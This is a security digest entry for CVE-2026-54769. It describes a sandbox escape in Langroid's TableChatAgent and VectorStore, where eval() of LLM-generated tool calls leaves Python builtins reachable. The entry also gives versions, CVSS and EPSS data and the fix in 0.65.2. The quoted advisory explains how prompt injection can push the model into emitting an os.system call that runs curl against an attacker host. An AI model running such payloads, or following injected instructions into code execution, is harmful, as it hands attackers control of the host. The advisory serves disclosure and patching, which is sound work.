Security Digest · Vulnerability record
CVE-2026-54769: Langroid: Sandbox Escape to Remote Code Execution via Incomplete `eval()` Mitigation in TableChatAgent
Langroid is a framework for building large-language-model-powered applications.
CVSS 10.0 Critical EPSS 0.9% · p60
Should you act?
Critical and remotely reachable
No known exploitation yet, but it is network-reachable without credentials. This signal is computed from CISA KEV, EPSS and CVSS data; it is not an editorial verdict.
- Not in CISA KEV, but CISA’s SSVC assessment records a public proof-of-concept, so attack code exists.
- EPSS 0.9%, percentile 60: FIRST’s model estimates a 0.9% chance of exploitation activity in the next 30 days, higher than 60% of all scored CVEs (moderate). EPSS is a probability, not a verdict.
- Remotely reachable with no login and no user interaction. If the vulnerable service is exposed to the internet, prioritize it.
- Only applies if your dependency tree includes
langroid(PyPI) <= 0.65.1, fixed in 0.65.2. Check your lockfile, including transitive dependencies.
What it is
Langroid is a framework for building large-language-model-powered applications. Versions prior to 0.65.2 are vulnerable to a critical Sandbox Escape leading to Remote Code Execution (RCE) in its TableChatAgent and VectorStore capabilities. When these agents evaluate LLM-generated tool messages with fulleval=True, they attempt to sandbox the execution by explicitly setting locals to an empty dictionary {} inside Python's eval() function. However, this relies on an incomplete understanding of Python's execution model. Because builtins is not explicitly scrubbed from the globals dictionary mapping, Python implicitly injects all built-ins during execution, granting full access to functions like import('os').system(). Since TableChatAgent.pandaseval() executes external LLM outputs natively, this bypass permits any attacker providing prompt payload to achieve unauthenticated RCE on the host system. Version 0.65.2 patches the issue.
From the GitHub advisory
Advisory Details Title: Sandbox Escape to Remote Code Execution via Incomplete eval() Mitigation in TableChatAgent
Description: Summary Langroid is vulnerable to a critical Sandbox Escape leading to Remote Code Execution (RCE) in its TableChatAgent and VectorStore capabilities. When these agents evaluate LLM-generated tool messages with fulleval=True, they attempt to sandbox the execution by explicitly setting locals to an empty dictionary {} inside Python's eval() function. However, this relies on an incomplete understanding of Python's execution model. Because builtins is not explicitly scrubbed from the globals dictionary mapping, Python implicitly injects all built-ins during execution, granting full access to functions like import('os').system(). Since TableChatAgent.pandaseval() executes external LLM outputs natively, this bypass permits any attacker providing prompt payload to achieve unauthenticated RCE on the host system.
Details The root cause lies in how the framework evaluates generated Python code without a proper restricted environment. Specifically, in /langroid/agent/special/tablechatagent.py around line 239:
And similarly in /langroid/vectorstore/base.py around line 225:
An attacker can utilize Prompt Injection to force the language model to generate a Tool Call with the specific expression property set to: import('os').system('curl http://attacker.com/pwned') Because the empty {} locals dictionary does not restrict globals implicitly derived via the Python interpreter, this execution succeeds without raising a NameError.
Weakness type: CWE-94.
Product: langroid (PyPI) · Assigned by: GitHub_M · Published: 2026-07-09
Affected and fixed versions
| Ecosystem | Package | Vulnerable | First fixed |
|---|---|---|---|
| PyPI | langroid | <= 0.65.1 | 0.65.2 |
| Vendor | Product | Affected versions (per CVE record) |
|---|---|---|
| langroid | langroid | < 0.65.2 |
Severity scores
| Scored by | CVSS | Score | Vector |
|---|---|---|---|
| GitHub_M | 3.1 | 10 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| GitHub | 3.1 | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
- Attack vector: network (remotely reachable)
- Attack complexity: low
- Privileges required: none (no login)
- User interaction: none
- Scope: changed (can affect other components)
CVSS measures how bad a flaw is if exploited, not how likely exploitation is. Read it next to the exploitation data below.
Exploitation and urgency
- CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
- CISA SSVC assessment: exploitation poc, automatable yes, technical impact total.
- FIRST EPSS (model of 2026-10-21): 0.91% probability of exploitation activity in the next 30 days; percentile 60.
Timeline
- — GitHub-reviewed advisory GHSA-q9p7-wqxg-mrhc published (critical)
- — CVE record published by GitHub_M
- — CVE record last updated
Sources and references
Original sources first. Version and fix details should always be confirmed against the vendor or project advisory.
Vulnerability records
- GitHub Advisory GHSA-q9p7-wqxg-mrhc github.com
- CVE.org record CVE-2026-54769 cve.org
- NVD entry CVE-2026-54769 nvd.nist.gov
Other references from the CVE record and advisory
- github.com github.com